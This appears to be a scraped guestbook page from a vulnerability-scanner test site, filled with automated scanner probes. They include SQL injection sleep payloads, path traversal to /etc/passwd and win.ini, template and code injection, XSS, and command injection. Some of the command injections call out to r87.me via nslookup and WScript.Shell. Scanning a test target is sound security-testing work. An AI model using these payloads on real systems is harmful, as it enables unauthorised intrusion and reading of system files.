r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?http://aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:10:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:10:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx\u0000

\r\n

\r\n 8/23/2017 8:10:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:18 AM\r\n

\r\n

\r\n %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002B25%29%3C%2FscRipt%3E\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:17 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

r87.com/?aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:15 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:15 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:14 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

//r87.com/?http://aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:10:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:10:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:11 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:10:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:10:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:10:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:10:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

arguments[1].end(require('child_process').execSync('expr 268409241 - 22'))

\r\n

\r\n 8/23/2017 8:10:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?aspnet.testsparker.com/

\r\n

\r\n 8/23/2017 8:10:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:10:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:06 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

\r\n

\r\n 8/23/2017 8:10:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd

\r\n

\r\n 8/23/2017 8:10:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:10:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:05 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:04 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:10:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:10:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:10:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

\r\n

\r\n 8/23/2017 8:10:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:03 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:10:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:02 AM\r\n

\r\n

\r\n '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:10:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:01 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:10:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:10:00 AM\r\n

\r\n

\r\n ));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n '));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

file:///etc/passwd

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:59 AM\r\n

\r\n

\r\n ');SELECT pg_sleep(25)--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:58 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:09:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:58 AM\r\n

\r\n

\r\n );SELECT pg_sleep(25)--\r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n SELECT pg_sleep(25)--\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n ;SELECT pg_sleep(25)--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n ';SELECT pg_sleep(25)--\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '\r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../proc/version

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache/error.log

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n |nslookup${IFS}\"o010_rdnxu19k9chh5tbbyojxvthogj-bgugbpdu\"\"np8.r87.me\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \"&nslookup \"o010_rdnxud6pcldcpwfpwyqkkfj-ppegaokpyop\"\"v90.r87.me\"\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n '&nslookup \"o010_rdnxu3vfnc2mjmdsmqjf1_u4efyppjssgz3\"\"apw.r87.me\"\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n &nslookup \"o010_rdnxuywyz0nnht1rm1nopeh1zxovrslrvcc\"\"7j8.r87.me\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n nslookup \"o010_rdnxuyq6restihprsdjetv_0rnd_6gqctvt\"\"dny.r87.me\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \"& nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&'\\\"`0&nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&`'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n '& nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&'\\\"`0&nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&`'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:48 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\\\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`'\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\\\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n \"+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+\"\r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')')\r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me')\r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p\" & \"hf8.r87.me\").StdOut.ReadAll+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n <%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p\" & \"asu.r87.me\").StdOut.ReadAll%>\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq\" & \"olq.r87.me\").StdOut.ReadAll+\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft\" & \"k80.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve\" & \"g44.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n expr 268409241 - 2;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n &ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \"+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n '&ping -w 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ;expr 268409241 - 2;x\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \"&ping -w 25 127.0.0.1 &\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));//\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

